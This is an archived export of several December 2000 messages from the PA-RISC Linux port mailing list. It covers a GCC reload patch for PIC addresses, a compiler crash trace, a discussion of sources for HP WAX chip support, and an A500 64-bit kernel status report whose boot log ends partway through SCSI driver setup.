Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id TAA28741;
	Wed, 6 Dec 2000 19:57:50 -0500 (EST)
In-Reply-To: <20001206161627.C1272@redhat.com> from "Richard Henderson" at Dec 6, 2000 04:16:27 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8799

> On Wed, Dec 06, 2000 at 03:41:06PM -0500, John David Anglin wrote:
> > >     (expr_list:REG_EQUIV (mem/u:SI (lo_sum:SI (reg/f:SI 309)
> > > 		(unspec:SI[
> > > 			(symbol_ref:SI ("constructor_max_index"))
> > > 		    ]  0)) 0)
> 
> This appears to be the same sort of bug as in compile/20001205-1.c
> except that an unspec is involved instead of an asm_operands.
> 
> I wonder if the best solution is to avoid local-alloc creating
> REG_EQUIV notes for every little thing under the sun.  Allow
> only general_operand or something.

I am testing the following.  The bootstrap has gone well past the above
point.  Maybe some generalization of this would work in general or
some similar control could be added to local-alloc regarding the creation
of REG_EQUIV notes.  This method works well here because there are no
valid substitutions of PIC mem's on the PA as far as I am aware.  Another
method might be to scan the insn list and check that the substitution is
valid for all the insns that use the register before deciding that a
REG_EQUIV note should be added.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2000-12-06  John David Anglin  <dave@hiauly1.hia.nrc.ca>

	* pa.h (PIC_ADDRESS_P): Define macro to recognize PIC address.
	* reload1.c (reload): Don't set reg_equiv_mem if PIC_ADDRESS_P
	is defined and true.

--- config/pa/pa.h.orig	Sat Dec  2 02:43:02 2000
+++ config/pa/pa.h	Wed Dec  6 17:27:21 2000
@@ -1091,6 +1091,14 @@
    || GET_CODE (X) == HIGH) 						\
    && (reload_in_progress || reload_completed || ! symbolic_expression_p (X)))
 
+/* Recognize a PIC address.  */
+
+#define PIC_ADDRESS_P(X)			\
+   (GET_CODE (X) == LO_SUM			\
+    && GET_CODE (XEXP (X, 0)) == REG            \
+    && REG_OK_FOR_BASE_P (XEXP (X, 0))		\
+    && GET_CODE (XEXP (X, 1)) == UNSPEC)	\
+
 /* Include all constant integers and constant doubles, but not
    floating-point, except for floating-point zero.
 
--- reload1.c.orig	Thu Nov 30 17:39:21 2000
+++ reload1.c	Wed Dec  6 17:18:27 2000
@@ -881,8 +881,14 @@
 	  {
 	    rtx x = eliminate_regs (reg_equiv_memory_loc[i], 0, NULL_RTX);
 
+#ifndef PIC_ADDRESS_P
 	    if (strict_memory_address_p (GET_MODE (regno_reg_rtx[i]),
 					 XEXP (x, 0)))
+#else
+	    if (strict_memory_address_p (GET_MODE (regno_reg_rtx[i]),
+					 XEXP (x, 0))
+		&& ! PIC_ADDRESS_P (XEXP (x, 0)))
+#endif
 	      reg_equiv_mem[i] = x, reg_equiv_address[i] = 0;
 	    else if (CONSTANT_P (XEXP (x, 0))
 		     || (GET_CODE (XEXP (x, 0)) == REG


From - Thu Nov 08 21:14:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Wed, 6 Dec 2000 20:18:11 -0500 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <200012070118.UAA28814@hiauly1.hia.nrc.ca>
References: <200012070057.TAA28741@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619403 8217 80.91.229.3 (22 Nov 2014 01:23:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:23 +0000 (UTC)
Cc: rth@redhat.com, alan@linuxcare.com.au, law@cygnus.com,
        rhirst@linuxcare.com, parisc-linux@thepuffingroup.com,
        gcc-bugs@gcc.gnu.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Dec  6 18:22:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA26853
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 18:22:57 -0700
Original-Received: (qmail 8604 invoked by uid 15267); 7 Dec 2000 01:18:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8582 invoked from network); 7 Dec 2000 01:18:34 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 7 Dec 2000 01:18:34 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id UAA28814;
	Wed, 6 Dec 2000 20:18:12 -0500 (EST)
In-Reply-To: <200012070057.TAA28741@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 6, 2000 07:57:49 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8800

> I am testing the following.  The bootstrap has gone well past the above
> point.  Maybe some generalization of this would work in general or

Failure:

stage1/xgcc -Bstage1/ -B/usr/local/hppa1.1-hp-hpux10.20/bin/ -c  -DIN_GCC    -g -O3 -fPIC -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes   -DHAVE_CONFIG_H    -I. -Icp -I../../gcc -I../../gcc/cp -I../../gcc/config -I../../gcc/../include ../../gcc/cp/decl.c -o cp/decl.o
../../gcc/cp/decl.c: In function `duplicate_decls':
../../gcc/cp/decl.c:3760: Internal error: Segmentation fault.
Please submit a full bug report.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
make[2]: *** [cp/decl.o] Error 1
make[2]: Leaving directory `/xxx/gnu/gcc-2.97/objdir/gcc'
make[1]: *** [stage_c] Error 2
make[1]: Leaving directory `/xxx/gnu/gcc-2.97/objdir/gcc'
make: *** [bootstrap-lean] Error 2

Hopefully, this is a different problem.

[snip]
decls_match warn_extern_redeclared_static duplicate_decls {GC 6819k -> 2774k} {GC 5707k -> 2827k}
Program received signal SIGSEGV, Segmentation fault0x35c264 in make_reorder_chain_1 (bb=0x401a3408, prev=0x401a3408)
    at ../../gcc/bb-reorder.c:409
409           next = (taken e_taken : e_fall)->dest;
(gdb) p taken
$1 = 1
(gdb) p e_taken->dest
Cannot access memory at address 0xc
(gdb) p e_fall->dest
$2 = (struct basic_block_def *) 0x401a3440

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] WAX research
Date: Wed, 06 Dec 2000 21:59:48 -0500
Organization: The Puffins at Linuxcare
Lines: 52
Approved: news@gmane.org
Message-ID: <3A2EFD24.28EFD921@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619404 8222 80.91.229.3 (22 Nov 2014 01:23:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@linuxcare.com  Wed Dec  6 19:55:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA27787
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 19:55:02 -0700
Original-Received: (qmail 13039 invoked by uid 15267); 7 Dec 2000 02:57:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13027 invoked from network); 7 Dec 2000 02:57:39 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 7 Dec 2000 02:57:39 -0000
Original-Received: (qmail 21643 invoked from network); 7 Dec 2000 02:57:38 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 7 Dec 2000 02:57:38 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8801


I've spent some time trying to evaluate what it would be like to get WAX
support into Linux, and have nothing new to report.

Why this mail?  Because I actually dug through some code and thought I'd
mail it here so it'd get archived and because maybe someone here has
something to add.

HP hasn't released docs on WAX and I can see why.  WAX hasn't been used
in ages (the latest one is probably the D270, but they are in all 715s),
and finding the docs is probably hard.  

So... alternative information that's a bit hard to find...

1. OpenBSD

There is some mention of WAX in here, but it's ancient.  Maybe I'm not
looking at the latest version, it is stamped with 

/*      $OpenBSD: wax.c,v 1.1 1998/11/23 03:04:10 mickey Exp $  */

The file in question is src/sys/arch/hppa/dev/wax.c.  You can get
download instructions from http://www.openbsd.org/hppa.html .   

That version of wax.c just has some WAX detection code, although we know
how to do that already.

2. Mach4/Lites

You can get this code from
flux.cs.utah.edu/ftp://flux/mach/ALPHA/pa-snapshot2.tar.gz

I had actually thought that these guys had seen WAX code under NDA, but
the docs say that wax is unsupported.  The code for wax in
usr/src/mach4/mach4-parisc/kernel/hpsgc/busconf.c looks like the code
for asp with the variables replaced.  It looks like this is a dead end
too.

Mach4 actually also has some viper and ASP code that might be helpful.

If anyone has any corrections on any of this, or anything else to add,
let me know.  If there's some public info to go on, it'd enable someone
to actually build up WAX support.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:  [parisc-linux] WAX research
Date: Wed, 6 Dec 2000 20:31:24 -0700 (MST)
Lines: 10
Approved: news@gmane.org
Message-ID: <200012070331.UAA03637@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619404 8229 80.91.229.3 (22 Nov 2014 01:23:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:24 +0000 (UTC)
To: adevries@linuxcare.com, parisc-linux@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Wed Dec  6 20:28:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA28442
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 20:28:54 -0700
Original-Received: (qmail 11995 invoked by uid 15267); 7 Dec 2000 03:31:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11975 invoked from network); 7 Dec 2000 03:31:32 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 7 Dec 2000 03:31:32 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id UAA03637;
	Wed, 6 Dec 2000 20:31:24 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8802

We have a copy of the WAX ERS.  I think I have sent out the drawing #
in the past, I will do so again tomorrow if it would help.  I would send
a copy of the doc to someone if I had some way of being sure that it was
legal to do so.

The Mach WAX code looks a lot like ASP code because the WAX looks a lot
like the ASP.  As I recall, the code worked ok for us though we didn't
spend a lot of time on it.  I think I hacked it up in an afternoon, and
it shows.


From - Thu Nov 08 21:14:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A500 status update
Date: Wed, 6 Dec 2000 22:34:55 -0800 (PST)
Lines: 940
Approved: news@gmane.org
Message-ID: <200012070634.WAA07459@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619404 8232 80.91.229.3 (22 Nov 2014 01:23:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:24 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@puffin.external.hp.com
Original-X-From: grundler@cup.hp.com  Wed Dec  6 23:32:59 2000
Original-Received: from cosrel2.hp.com (cosrel2.hp.com [156.153.255.162])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA29982
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 23:32:59 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by cosrel2.hp.com (Postfix) with ESMTP id D4441663
	for <parisc-linux@puffin.external.hp.com>; Wed,  6 Dec 2000 23:35:36 -0700 (MST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id WAA07459;
	Wed, 6 Dec 2000 22:34:55 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:8803

Good News!

*** A500 is starting to come alive! ***

Kudos to (in alpha order): amodra, danglin dhd, ggg (myself), jsm, pb, rhirst
and others names I just can't think of right now.
Kudos for long hours on the 64-bit specific issues: Toolchain, VM,
Boot loader, PDC wrappers, PAT PDC inventory, 32->64-bit syscall translators,
device drivers, kernel module support, etc....Output log is below.

TODO:
o sym53c896 driver is quite verbose at boot...do we still need this?
o kernel message buffer gets dumped again when "Switching from PDC console"
o mke2fs will sometimes crash the system.  Typical symptom of I/O MMU
  support (SBA driver) not handling Scatter-Gather mappings correctly.
  That's my problem. However I was not able to reproduce it yet.
o dd to raw disk isn't working right. "No space left on device".
  See the output below.
o don't see Acenic driver output. I've got CONFIG_ACENIC=y and the device
  is definitely seen by PCI.

good night!
grant


Firmware Version  40.32

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      440  MHz   Active                 Functional         512 KB   1 MB
      1      440  MHz   Idle                   Functional         512 KB   1 MB

  Central Bus Speed (in MHz)  :        111  
  Available Memory            :     262144  KB
  Good Memory Required        :      11468  KB

   Primary boot path:    0/0/1/1.15          
   Alternate boot path:  0/0/2/1.15          
   Console path:         0/0/4/0.0           
   Keyboard path:        0/0/4/0.0           

 WARNING:  The non-destructive test bit was set, so memory was not tested 
            destructively.  Information only, no action required. 


---- Main Menu ---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > in io

I/O MODULE INFORMATION

                        Path   Slot                          IODC  
Type                    (dec)  Number    HVERSION  SVERSION  Vers  
----                    -----  ------    --------  --------  ----  
System bus adapter      0                0x5820    0xb10     0x0   
Local bus adapter       0/0    4         0x7820    0xa00     0x0     
Local bus adapter       0/2    1         0x7820    0xa00     0x0     
Local bus adapter       0/4    2         0x7820    0xa00     0x0     
Local bus adapter       0/6    3         0x7820    0xa00     0x0     

PCI DEVICE INFORMATION
                                Path              Vendor  Device  Bus  Slot
Description                     (dec)               Id      Id     #    #
-----------                     -----              ----    ----   ---  ---
Ethernet cntlr                  0/0/0/0           0x1011  0x19    0    Built_In
SCSI bus cntlr                  0/0/1/0           0x1000  0xb     0    Built_In
SCSI bus cntlr                  0/0/1/1           0x1000  0xb     0    Built_In
SCSI bus cntlr                  0/0/2/0           0x1000  0xf     0    Built_In
SCSI bus cntlr                  0/0/2/1           0x1000  0xf     0    Built_In
Comp. ser cntlr                 0/0/4/0           0x103c  0x1048  0    Built_In
Comp. ser cntlr                 0/0/5/0           0x103c  0x1048  0    Built_In
Ethernet cntlr                  0/2/0/0           0x12ae  0x1     16   1
SCSI bus cntlr                  0/4/0/0           0x1000  0xb     32   2
SCSI bus cntlr                  0/4/0/1           0x1000  0xb     32   2
PCI-to-PCI bridge               0/6/0/0           0x1011  0x26    48   4
  SCSI bus cntlr                0/6/0/0/4/0       0x1000  0xb     49   4
  SCSI bus cntlr                0/6/0/0/4/1       0x1000  0xb     49   4
  Ethernet cntlr                0/6/0/0/6/0       0x1011  0x19    49   4
  Ethernet cntlr                0/6/0/0/7/0       0x1011  0x19    49   4
PCI-to-PCI bridge               0/6/0/0           0x1011  0x26    48   4
PCI-to-PCI bridge               0/6/2/0           0x1011  0x24    48   3
  Ethernet cntlr                0/6/2/0/4/0       0x1011  0x9     50   3
  Ethernet cntlr                0/6/2/0/5/0       0x1011  0x9     50   3
  Ethernet cntlr                0/6/2/0/6/0       0x1011  0x9     50   3
  Ethernet cntlr                0/6/2/0/7/0       0x1011  0x9     50   3
PCI-to-PCI bridge               0/6/2/0           0x1011  0x24    48   3

Main Menu: Enter command or menu > bo lan
Interact with IPL (Y, N, or Cancel)?> n

Booting... 
Network Station Address 00306e-03799f
System IP Address 15.8.80.78
Server IP Address 15.8.81.247

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@hpisp747 Wed Nov  8 21:40:37 PST 2000
0/vmlinux 3170434 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa '
Kernel: partition 0 file /vmlinux
ELF64 executable

Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 1804864 mediaptr 0x1000
Segment 1 load 002ba000 size 428968 mediaptr 0x1ba000
Segment 2 load 00324000 size 376832 mediaptr 0x223000
branching to kernel entry point 0x00100000
Set default PSW W bit to 1
PDC Console Initialized
The 64-bit Kernel has started...
Enabled FP coprocessor
If this is the LAST MESSAGE YOU SEE, you're probably using
32-bit millicode by mistake.
Free memory starts at: 0xc03c3000
start_parisc(0x504ce8,0x504ce8,0x0,0x0)
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa '
PALO initrd 0-0
model   00005cb0 00000491 00000000 00000001 23355fdc 100000f0 00000008 000000b2 000000b2
vers    00000300
cpuid   0000022a
CPUID   vers 17 rev 10
model   9000/800/A500-44
Searching for devices in PDC firmware... processor hpa 0xfffffffffffa0000
Found devices:
1. Crescendo 440 (0) at 0xfffffffffffa0000, versions 0x5cb, 0x0, 0x4, 0x0, 0x91
2. Crescendo 440 (0) at 0xfffffffffffa2000, versions 0x5cb, 0x0, 0x4, 0x0, 0x91
3. Crescendo Memory (1) at 0xfffffffffed08000, versions 0x9b, 0x0, 0x9, 0x0, 0x0
4. Astro BC Runway Port (12) at 0xfffffffffed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
5. Elroy PCI Bridge (13) at 0xfffffffffed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. Elroy PCI Bridge (13) at 0xfffffffffed34000, versions 0x782, 0x0, 0xa, 0x0, 0x0
7. Elroy PCI Bridge (13) at 0xfffffffffed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
8. Elroy PCI Bridge (13) at 0xfffffffffed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
That's a total of 8 devices.
CONFIG_SMP disabled - not claiming addional CPUs
Warning : device (0, 0x5cb, 0x0, 0x4, 0x0) NOT claimed by CPU PARISC
CPU(s): 1 x PA8500 (PCX-W) at 440.000000 MHz
Linux version 2.4.0-test10 (grundler@hpisp747) (gcc version 2.96 20000925 (experimental)) #6 Wed Dec 6 17:14:11 PST 2000
free_bootmem(0x3c5000, 0xfc3b000)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 65536
zone(0): 32768 pages.
zone(1): 32768 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa 
trap_init
Calibrating delay loop... 878.18 BogoMIPS
Memory: 249052k available
Dentry-cache hash table entries: 32768 (order: 7, 524288 bytes)
Buffer-cache hash table entries: 16384 (order: 5, 131072 bytes)
Page-cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode-cache hash table entries: 16384 (order: 6, 262144 bytes)
POSIX conformance testing by UNIFIX
lba version TR4.0 (0x5) found at 0xfffffffffed30000
lba range[2] : ignoring GMMIO (0xfffffff804000000)
PCI Found 00:00 [1011/0019] 000200 00
PCI Found 00:08 [1000/000b] 000100 00
PCI Found 00:09 [1000/000b] 000100 00
PCI Found 00:10 [1000/000f] 000100 00
PCI Found 00:11 [1000/000f] 000100 00
PCI Found 00:20 [103c/1048] 000700 00
PCI Found 00:28 [103c/1048] 000700 00
PCI: dev PCI device 1000:000b type 64-bit
PCI: dev PCI device 1000:000b type 64-bit
PCI: dev PCI device 1000:000b type 64-bit
PCI: dev PCI device 1000:000b type 64-bit
lba version TR4.0 (0x5) found at 0xfffffffffed34000
lba range[2] : ignoring GMMIO (0xfffffff904000000)
PCI Found 10:00 [12ae/0001] 000200 00
lba version TR4.0 (0x5) found at 0xfffffffffed38000
lba range[2] : ignoring GMMIO (0xfffffffa04000000)
PCI Found 20:00 [1000/000b] 000100 00
PCI Found 20:01 [1000/000b] 000100 00
PCI: dev PCI device 1000:000b type 64-bit
PCI: dev PCI device 1000:000b type 64-bit
PCI: dev PCI device 1000:000b type 64-bit
PCI: dev PCI device 1000:000b type 64-bit
lba version TR4.0 (0x5) found at 0xfffffffffed3c000
lba range[2] : ignoring GMMIO (0xfffffffb04000000)
PCI Found 30:00 [1011/0026] 000604 01
PCI Found 30:10 [1011/0024] 000604 01
PCI Found 31:20 [1000/000b] 000100 00
PCI Found 31:21 [1000/000b] 000100 00
PCI Found 31:30 [1011/0019] 000200 00
PCI Found 31:38 [1011/0019] 000200 00
PCI : ignoring 30:00.0 PCI-PCI bridge - I/O BASE not configured
PCI Found 32:20 [1011/0009] 000200 00
PCI Found 32:28 [1011/0009] 000200 00
PCI Found 32:30 [1011/0009] 000200 00
PCI Found 32:38 [1011/0009] 000200 00
PCI : ignoring 30:02.0 PCI-PCI bridge - I/O BASE not configured
PCI: dev PCI device 1000:000b type 64-bit
PCI: dev PCI device 1000:000b type 64-bit
PCI: dev PCI device 1000:000b type 64-bit
PCI: dev PCI device 1000:000b type 64-bit
SBA found Astro 2.1 at 0xfffffffffed00000
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
request_module[parport_lowlevel]: Root fs not mounted
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at port 0x0080 (irq = 132) is a 16550A
PCIBIOS: Enabling device 00:05.0 (0007 -> 0147)
ttyS01 at port 0x00c0 (irq = 133) is a 16550A
Linux Tulip driver version 0.9.10 (September 6, 2000)
PCIBIOS: Setting latency timer of 00:00.0 to 128
eth0: Digital DS21143 Tulip rev 65 at 0x0, 00:30:6E:03:79:9F, IRQ 128.
eth0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
PCIBIOS: Enabling device 31:06.0 (0007 -> 0147)
PCIBIOS: Setting latency timer of 31:06.0 to 128
eth1: Digital DS21143 Tulip rev 65 at 0x30200, 00:10:83:7B:0A:3E, IRQ 322.
eth1:  EEPROM default media type Autosense.
eth1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
eth1:  MII transceiver #0 config 1000 status 7809 advertising 01e1.
PCIBIOS: Enabling device 31:07.0 (0007 -> 0147)
PCIBIOS: Setting latency timer of 31:07.0 to 128
eth2: Digital DS21143 Tulip rev 65 at 0x30280, 00:10:83:7B:0A:3F, IRQ 323.
eth2:  EEPROM default media type Autosense.
eth2:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
eth2:  MII transceiver #0 config 1000 status 7809 advertising 01e1.
PCIBIOS: Enabling device 32:04.0 (0007 -> 0147)
PCIBIOS: Setting latency timer of 32:04.0 to 128
eth3: Digital DS21140 Tulip rev 34 at 0x31000, 00:00:D1:1A:31:BF, IRQ 322.
eth3:  EEPROM default media type Autosense.
eth3:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
eth3:  MII transceiver #1 config 3100 status 7849 advertising 0101.
eth3:  Advertising 01e1 on PHY 1, previously advertising 0101.
eth3:  Advertising 01e1 (to advertise is 01e1).
PCIBIOS: Enabling device 32:05.0 (0007 -> 0147)
PCIBIOS: Setting latency timer of 32:05.0 to 128
eth4: Digital DS21140 Tulip rev 34 at 0x31080, 00:00:D1:1A:32:22, IRQ 323.
eth4:  EEPROM default media type Autosense.
eth4:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
eth4:  MII transceiver #1 config 3100 status 7849 advertising 0101.
eth4:  Advertising 01e1 on PHY 1, previously advertising 0101.
eth4:  Advertising 01e1 (to advertise is 01e1).
PCIBIOS: Enabling device 32:06.0 (0007 -> 0147)
PCIBIOS: Setting latency timer of 32:06.0 to 128
eth5: Digital DS21140 Tulip rev 34 at 0x31100, 00:00:D1:1A:31:B9, IRQ 324.
eth5:  EEPROM default media type Autosense.
eth5:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
eth5:  MII transceiver #1 config 3100 status 7849 advertising 0101.
eth5:  Advertising 01e1 on PHY 1, previously advertising 0101.
eth5:  Advertising 01e1 (to advertise is 01e1).
PCIBIOS: Enabling device 32:07.0 (0007 -> 0147)
PCIBIOS: Setting latency timer of 32:07.0 to 128
eth6: Digital DS21140 Tulip rev 34 at 0x31180, 00:00:D1:1A:31:C4, IRQ 325.
eth6:  EEPROM default media type Autosense.
eth6:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
eth6:  MII transceiver #1 config 3100 status 7849 advertising 0101.
eth6:  Advertising 01e1 on PHY 1, previously advertising 0101.
eth6:  Advertising 01e1 (to advertise is 01e1).
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 2, function 0
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
sym53c8xx: 53c876 detected 
sym53c8xx: at PCI bus 0, device 2, function 1
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
sym53c8xx: 53c876 detected 
sym53c8xx: at PCI bus 0, device 1, function 0
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 0, device 1, function 1
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 32, device 0, function 0
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 32, device 0, function 1
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 49, device 4, function 0
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 49, device 4, function 1
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
sym53c8xx: 53c896 detected 
sym53c876-0: rev 0x14 on pci bus 0 device 2 function 0 irq 130
sym53c876-0: NCR clock is 40218KHz
sym53c876-0: ID 7, Fast-20, Parity Checking
sym53c876-0: on-chip RAM at 0xfffffffff8008000
sym53c876-0: restart (scsi reset).
sym53c876-0: Downloading SCSI SCRIPTS.
sym53c876-1: rev 0x14 on pci bus 0 device 2 function 1 irq 131
sym53c876-1: NCR clock is 40218KHz
sym53c876-1: ID 7, Fast-20, Parity Checking
sym53c876-1: on-chip RAM at 0xfffffffff800a000
sym53c876-1: restart (scsi reset).
sym53c876-1: Downloading SCSI SCRIPTS.
sym53c896-2: rev 0x7 on pci bus 0 device 1 function 0 irq 129
sym53c896-2: NCR clock is 40218KHz
sym53c896-2: ID 7, Fast-40, Parity Checking
